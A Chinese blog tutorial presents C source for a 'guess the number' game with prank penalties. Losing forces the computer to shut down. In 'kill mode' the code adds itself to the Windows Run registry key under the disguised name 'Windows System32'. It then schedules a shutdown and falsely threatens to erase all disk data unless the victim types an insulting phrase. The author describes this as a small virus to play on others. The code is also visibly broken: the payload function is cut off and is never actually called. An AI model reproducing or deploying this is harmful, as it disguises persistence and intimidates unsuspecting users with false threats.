0
点赞
收藏
分享

微信扫一扫

草履虫都学会了的超级简单C语言小游戏(附带恶作剧)

程序思路

        程序启动时生成一个随机数,玩家需要在3次内猜对该随机数字(随机数范围,次数可以自设)。
玩家每次所猜数字会被与随机数比较大小,大了小了给予提示
游戏分两种模式,正常和杀戮(自设)正常模式游戏失败电脑自动关机,杀戮模式,游戏失败电脑自动关机添加到注册表。

//游戏思路
//使用二分查找的思路写一个猜数字大小的程序,玩家每次键盘上输入一个数字比较其与一个随机数的大小
//每次猜大猜小给予提示,可以猜5次,5次未猜中,给玩家电脑关机
//每次输入后清屏
//游戏倒计时如果玩家在规定的时间内不完成游戏,电脑自动关机
//每次猜错,让玩家的游戏窗口躲避鼠标作为惩罚(待定)
    //游戏开始画面菜单打印函数   kai_shi函数
    // 游戏设置菜单打印函数      she_zhi函数
    // 游戏规则菜单打印函数      gui_ze函数
    //生成随机数函数              time函数
    // 比较输入的数字与随机数是否相等     
    // 循环上述5次
    //失败惩罚

第一步我们需要一个(play game.c)的源文件

 以及一个(game.h)的头文件

 

我们自己创建一个头文件

是为了防止在写游戏时,函数,变量太多

全部堆在一个.C文件里面,代码别太多,看着费眼睛,当然你完全可以把他们都写在一起

我们最后的头文件长这样

可以看到我们把所有函数,全局变量的申明都放在头文件,但没有定义

所以我们再创建一个(game.c)文件,来定义我们在头文件里声明的函数和变量

在整个工程中以.c为后缀的文件里 引用自己定义的头文件是这样

#include "game.h"//调用自己写的各种函数

如图第二行,我们在game.c文件中引用了我们自己定义的头文件

 

这个文件,同时定义了game.h中的函数和全局变量

 如图我们用了258行定义完了所有的函数和全局变量

下面我们看各个函数怎么实现

1,开始菜单打印函数

int kai_shi()
{
    
    for (;;)//游戏开始画面菜单打印
    {
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("*************       小涵的简单俄罗斯转盘     **************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("***************      输入1  -  开始游戏       *************\n");
        printf("***************      输入2  -  设置游戏       *************\n");
        printf("***************      输入3  -  查看游戏规则   *************\n");
        printf("***************      输入0  -  退出游戏       *************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");

//以上为开始菜单的样子,原理就是“hello world”,草履虫都嫌简单


        scanf("%d", &kai_shi_pan_duan);

//此处输入一个数字存放到一个全局变量中

//下面根据输入的这个全局变量判断玩家的行动


        if (kai_shi_pan_duan == 1 || kai_shi_pan_duan == 2 || kai_shi_pan_duan == 3
            || kai_shi_pan_duan == 0)
        {
            break;
        }

//但玩家输入的数字是可以执行的数字就退出循环,否则说明玩家瞎输入,就继续打印菜单


        else//清屏,提示,继续循环打印菜单
        {
            system("cls");//清理屏幕
            printf("输入错误\n请重新输入\n");
            Sleep(2000);//延迟
            system("cls");//清理屏幕
        }
    }

//来到此处说明玩家输入合法数字,此时的全局变量就可以当作玩家行动了


    if (kai_shi_pan_duan == 1)//为1是调用后续游戏窗口函数
    {
        printf_game_windows();//打印游戏窗口涵数
    }
    if (kai_shi_pan_duan == 2)//为2是调用后续游戏设置函数
    {
        game_she_zhi();//游戏设置函数
    }
    if (kai_shi_pan_duan == 3)//为3是调用后续游戏规则函数
    {
        game_gui_ze();//游戏规则函数
    }
    if (kai_shi_pan_duan == 0)

//全局变量为0时,开始菜单函数,返回0,等会在游戏里靠这个返回的0结束main函数

//之所以结束游戏要这么麻烦是因为我们的程序

//在进入设置,规则菜单后再返回菜单是递归调用,所以这么麻烦

//反正就是程序已经写成这样了,凑合用吧,懒得删了

//当然可以把我写的开始菜单函数改一下,让这个函数只打印开始菜单就好

//然后至于玩家输入的数字,在游戏main函数里判断,在确定进入后续函数

//函数应该功能简单,我这个属于错误示范


    {
        return 0;
    }
    return 1;
}

2,游戏开始画面菜单打印函数   kai_shi函数

就是打印玩家的游戏画面

具体函数如下

 

//相比上面那个开始菜单函数,这个函数显得好一点,至少他BUG少,两者相比,说明在写函数时应该经量让函数功能单一

3, 游戏设置菜单打印函数      she_zhi函数

void game_she_zhi()
{
    for (;;)
    {
        system("cls");//清理屏幕
        printf("设置\n");
        printf("\n  随机数范围   *************    0 - %d  *****输入1更改\n", zi_dan);
        printf("\n  猜数字次数   *************    0 - %d  *****输入2更改\n", ci_shu);
        if (game_mo_shi == 1)
        {
            printf("\n  游戏模式     *************    普通模式  ****输入3更改\n");
        }
        else//game_mo_shi == 0
        {
            printf("\n  游戏模式     *************    杀戮模式  ****输入4更改\n");
        }
        printf("            ******        输入0返回\n");
        scanf("%d", &kai_shi_pan_duan);
        int t = 1;
        if (kai_shi_pan_duan == 1 )
        {
            printf("输入你期望随机数的值(3-10000)\n");
            scanf("%d", &t);
            if (t >= 3 && t <= 10000)
            {
                zi_dan = t;
            }
            else
            {
                system("cls");//清理屏幕
                printf("输入错误\n请重新输入\n");
                Sleep(2000);//延迟
                system("cls");//清理屏幕
            }
        }
        if (kai_shi_pan_duan == 2)
        {
            printf("输入你期望猜数字的值(1 - 15)\n");
            scanf("%d", &t);
            if (t >= 1 && t <= 16)
            {
                ci_shu = t;
            }                
            else
            {
                system("cls");//清理屏幕
                printf("输入错误\n请重新输入\n");
                Sleep(2000);//延迟
                system("cls");//清理屏幕
            }
        }
        if (kai_shi_pan_duan == 3)
        {
            game_mo_shi = 0;
        }
        if (kai_shi_pan_duan == 4)
        {
            game_mo_shi = 1;
        }
        if (kai_shi_pan_duan == 0)
        {
            system("cls");//清理屏幕
            break;
        }
    }//循环打印除非退出
    kai_shi();//此处为递归调用必须在循环外,否则问题很多
}

4, 规则说明

void game_gui_ze()
{
    for (;;)
    {
        int kai_shi_pan_duan = -1;
        system("cls");//清理屏幕
        printf("游戏规则\n");
        printf("游戏会生成一个随机数(大小范围可以设置)\n而你有3次机会猜这个数字的大小(可设置)\n");
        printf("每次猜错都会有提示你所猜数字与该随机数字相比大小如何\n");
        printf("如果你用光你的猜测次数,你的电脑将会关机.\n重启即可。\n如果你觉得这样不够刺激,可以在设置中开起杀戮模式\n");
        printf("在杀戮模式下假如你用光了你的猜测次数,你的电脑将感染一个小病毒,他可能没什么危害,但它会让你很不爽\n");
        printf("如果你电脑已经不幸中毒,可以尝试360杀毒,该病毒并未尝试隐瞒杀毒软件,你的电脑基本安全\n");
        printf("最后,祝你好运\n");
        Sleep(5000);//延迟
        printf("\n\n\n\n\n\n\n输入1返回\n");
        scanf("%d", &kai_shi_pan_duan);
        if (kai_shi_pan_duan == 1)
        {
            break;
        }
        else
        {
            system("cls");//清理屏幕
            printf("输入错误\n请重新输入\n");
            Sleep(2000);//延迟
            system("cls");//清理屏幕
        }
    }
    system("cls");//清理屏幕
    kai_shi();
        //查看完成返回开始菜单
}

5,杀戮模式惩罚函数(这大概算个简单病毒,具体讲解可以看我前面的文章)

int bing_du()
{
    char cxlujin[100];//定义个数组存放程序的地址
    GetModuleFileName(NULL, cxlujin, sizeof(cxlujin));//查询程序地址(放到cxlujin )

    char s[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//定义字符串为注册表开机自启的路径
    HKEY hkey;//定义一个注册表的类
    RegOpenKey(HKEY_CURRENT_USER, s, &hkey);//打开注册表(打开该注册表,按cxlujin路径,保存到hkey)
    RegSetValueEx(hkey, "Windows System32", 0, REG_SZ,
        (unsigned char*)cxlujin, 250);

    //设置注册表(设置那个注册表,修改该注册表名称,0,注册表类型 ,(强制转换)程序路径,大小)

    char mima[20] = { 0 };
    printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学{{|└(>o< )┘|}}\n植入了病毒!!!\n");//给对方造成心理压力
    printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!\n");
    while (1)//对方输错可以继续输入
    {
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");//警告
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        system("shutdown -s -t 10");//system可以对系统进行操作,shutdown是windows的关机指令-s-t是延时设置
        printf("重要的事情我说了5遍!(▼皿▼#)\n害怕吧\n不知所措吧\n忙着关闭电源吧\n");//提示
        printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学\n");
        printf("给了你一个拯救你电脑的机会(●—●)\n");
        printf("你只需要输入一句简简单单的话\n就可以挽救着一切\n立即输入(目光看向这里╰(‵□′)╯ )\n我是傻逼小涵牛逼\n否则就等着你的电脑关机并删掉你所有的数据吧\n啊哈哈哈哈哈\n一切取决与你 ,你还有不到60秒\n");
        scanf("%s", mima);//数组不用取地址符
        if (strcmp(mima, "我是傻逼小涵牛逼") == 0)//判断是否正确输入
        {
            printf("输入正确\n");//正确反馈
            break;//跳出循环
        }

    }
    system("shutdown -a");//同上微软取消关机指令
    printf("很好,你诚恳的态度得到了小涵同学的认可,所以他放过了你\n");//反馈

好了我们的函数,全局变量以及头文件都搞定了

然后时游戏主函数

在整个工程中main函数只有一个

#define _CRT_SECURE_NO_WARNINGS 1
#include "game.h"//调用自己写的各种函数
//游戏思路
//使用二分查找的思路写一个猜数字大小的程序,玩家每次键盘上输入一个数字比较其与一个随机数的大小
//每次猜大猜小给予提示,可以猜5次,5次未猜中,给玩家电脑关机
//每次输入后清屏
//游戏倒计时如果玩家在规定的时间内不完成游戏,电脑自动关机
//每次猜错,让玩家的游戏窗口躲避鼠标作为惩罚(待定)
    //游戏开始画面菜单打印函数   kai_shi函数
    // 游戏设置菜单打印函数      she_zhi函数
    // 游戏规则菜单打印函数      gui_ze函数
    //生成随机数函数              time函数
    // 比较输入的数字与随机数是否相等     
    // 循环上述5次
    //关闭电脑
int main()
{
    for (;;)//循环是为了让游戏可以多次玩,不用每次玩都重新开程序
    {

        srand((unsigned int)time(NULL));
        sui_ji_shu = rand() % zi_dan;

//上面两行为生成一个随机数


        if (kai_shi() == 0)//之前提到的,让开始菜单函数返回0,就是为了在此处直接结束主函数
        {
            system("cls");//清理屏幕
            break;
        }


        int i = 0;
        for (i = 0; i < ci_shu; i++)

//判断输入数字大小是否等于随机数,以及游戏是否胜利
        {
            scanf("%d", &cai_num);
            if (cai_num < sui_ji_shu)
            {
                printf("大于你的数字");
            }
            if (cai_num > sui_ji_shu)
            {
                printf("小于你的数字");
            }
            if (cai_num == sui_ji_shu)
            {
                break;//猜对后直接跳出循环
            }

        }

//下面为游戏结束后的判定,判定游戏失败了就惩罚,赢了就祝贺


        if (i >= ci_shu)

//下面是失败惩罚

//第一个是普通惩罚
        {
            system("cls");//清理屏幕
            printf("\n\n\n\n\n                  砰!!!           \n");
            printf("\n很遗憾你没有躲开子弹\n");
            printf("你输了! \n");
            Sleep(2000);
            system("cls");//清理屏幕
            printf("再见\n 愿你玩得愉快,祝你好运\n");
            Sleep(1000);// 延时1000ms
            if (game_mo_shi == 1)
            {
                system("shutdown -s -t 1");
            }
            else if(game_mo_shi == 0)

//这个是杀戮惩罚
            {
                system("cls");//清理屏幕
                int bing_du();
            }
            break;
        }
        else

//下面为胜利
        {
            system("cls");//清理屏幕
            printf("恭喜你猜对了\n");
            printf("\n\n\n\n\n\n\n输入其他再来一局\n输入6退出游戏\n");
            scanf("%d", &kai_shi_pan_duan);
            if (kai_shi_pan_duan == 6)
            {
                system("cls");//清理屏幕
                printf("已退出\n");
                break;//退出游戏
            }
            system("cls");//清理屏幕
        }

    }//循环结束标志

//如果胜利就循环继续游戏,当然可以选6就可以直接退出循环

//失败的的话就关机了

    return 0;
}

举报

相关推荐

0 条评论